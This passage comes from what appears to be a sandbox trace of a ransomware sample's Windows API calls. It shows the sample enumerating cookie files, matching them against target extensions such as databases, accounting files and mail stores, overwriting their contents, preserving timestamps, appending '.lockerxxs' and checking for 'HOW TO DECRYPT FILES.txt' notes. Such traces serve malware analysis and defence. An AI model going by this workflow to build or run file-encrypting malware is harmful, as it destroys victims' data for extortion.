HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" [0088.439] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt." [0088.439] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.lockerxxs" [0088.439] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.440] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x65 [0088.440] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x52fcb4b0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x52fcb4b0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x52fcb4b0, dwHighDateTime=0x1d2dd9e)) returned 1 [0088.440] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.440] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x3f, lpOverlapped=0x0) returned 1 [0088.442] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt") returned="5p5nrgjn0js_halpmcxz@adtech[2].txt" [0088.442] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.442] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3f, lpOverlapped=0x0) returned 1 [0088.442] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.442] CloseHandle (hObject=0x9c) returned 1 [0088.443] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.lockerxxs")) returned 1 [0088.443] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53c70990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53c70990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53c70990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x52, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@adtr02[1].txt", cAlternateFileName="5P5NRG~3.TXT")) returned 1 [0088.443] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.444] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned 1 [0088.444] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned 1 [0088.444] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned -1 [0088.444] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt") returned="5p5nrgjn0js_halpmcxz@adtech[2].txt" [0088.444] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.444] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.444] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.444] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.444] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@adtr02[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" [0088.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.ems") returned 0 [0088.444] lstrlenA (lpString="*.ems") returned 5 [0088.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.db") returned 0 [0088.444] lstrlenA (lpString="*.db") returned 4 [0088.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.dbf") returned 0 [0088.444] lstrlenA (lpString="*.dbf") returned 5 [0088.444] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.myox") returned 0 [0088.445] lstrlenA (lpString="*.myox") returned 6 [0088.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.myo") returned 0 [0088.445] lstrlenA (lpString="*.myo") returned 5 [0088.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qbw") returned 0 [0088.445] lstrlenA (lpString="*.qbw") returned 5 [0088.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qbb") returned 0 [0088.445] lstrlenA (lpString="*.qbb") returned 5 [0088.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qbm") returned 0 [0088.445] lstrlenA (lpString="*.qbm") returned 5 [0088.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qbo") returned 0 [0088.445] lstrlenA (lpString="*.qbo") returned 5 [0088.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qbx") returned 0 [0088.445] lstrlenA (lpString="*.qbx") returned 5 [0088.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qba") returned 0 [0088.445] lstrlenA (lpString="*.qba") returned 5 [0088.445] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qby") returned 0 [0088.445] lstrlenA (lpString="*.qby") returned 5 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qbj") returned 0 [0088.446] lstrlenA (lpString="*.qbj") returned 5 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.ofx") returned 0 [0088.446] lstrlenA (lpString="*.ofx") returned 5 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.qif") returned 0 [0088.446] lstrlenA (lpString="*.qif") returned 5 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.mye") returned 0 [0088.446] lstrlenA (lpString="*.mye") returned 5 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.mbox") returned 0 [0088.446] lstrlenA (lpString="*.mbox") returned 6 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.eml") returned 0 [0088.446] lstrlenA (lpString="*.eml") returned 5 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.pst") returned 0 [0088.446] lstrlenA (lpString="*.pst") returned 5 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.ost") returned 0 [0088.446] lstrlenA (lpString="*.ost") returned 5 [0088.446] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.idx") returned 0 [0088.447] lstrlenA (lpString="*.idx") returned 5 [0088.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.dbx") returned 0 [0088.447] lstrlenA (lpString="*.dbx") returned 5 [0088.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.sql") returned 0 [0088.447] lstrlenA (lpString="*.sql") returned 5 [0088.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.mdb") returned 0 [0088.447] lstrlenA (lpString="*.mdb") returned 5 [0088.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.fdb") returned 0 [0088.447] lstrlenA (lpString="*.fdb") returned 5 [0088.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.wab") returned 0 [0088.447] lstrlenA (lpString="*.wab") returned 5 [0088.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.dat") returned 0 [0088.447] lstrlenA (lpString="*.dat") returned 5 [0088.447] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", pszSpec="*.txt") returned 1 [0088.447] lstrlenA (lpString="*.txt") returned 5 [0088.447] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" [0088.447] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" [0088.447] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt." [0088.448] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.lockerxxs" [0088.448] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9c [0088.448] GetFileSize (in: hFile=0x9c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x52 [0088.448] GetFileTime (in: hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53c70990, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53c70990, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53c70990, dwHighDateTime=0x1d2dd9e)) returned 1 [0088.448] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.448] ReadFile (in: hFile=0x9c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2c, lpOverlapped=0x0) returned 1 [0088.451] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned="5p5nrgjn0js_halpmcxz@adtr02[1].txt" [0088.451] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.451] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2c, lpOverlapped=0x0) returned 1 [0088.452] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.452] CloseHandle (hObject=0x9c) returned 1 [0088.452] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.lockerxxs")) returned 1 [0088.453] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x517fd8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x51332930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x51332930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x125, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@advertising[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 1 [0088.453] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.453] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@advertising[1].txt") returned 1 [0088.453] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@advertising[1].txt") returned 1 [0088.453] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@advertising[1].txt") returned -1 [0088.453] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt") returned="5p5nrgjn0js_halpmcxz@adtr02[1].txt" [0088.453] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.453] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.453] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" [0088.454] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\how to decrypt files.txt")) returned 0x2020 [0088.454] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\", lpString2="5p5nrgjn0js_halpmcxz@advertising[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" [0088.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.ems") returned 0 [0088.454] lstrlenA (lpString="*.ems") returned 5 [0088.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.db") returned 0 [0088.454] lstrlenA (lpString="*.db") returned 4 [0088.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.dbf") returned 0 [0088.454] lstrlenA (lpString="*.dbf") returned 5 [0088.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.myox") returned 0 [0088.454] lstrlenA (lpString="*.myox") returned 6 [0088.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.myo") returned 0 [0088.454] lstrlenA (lpString="*.myo") returned 5 [0088.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qbw") returned 0 [0088.454] lstrlenA (lpString="*.qbw") returned 5 [0088.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qbb") returned 0 [0088.454] lstrlenA (lpString="*.qbb") returned 5 [0088.454] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt", pszSpec="*.qbm") 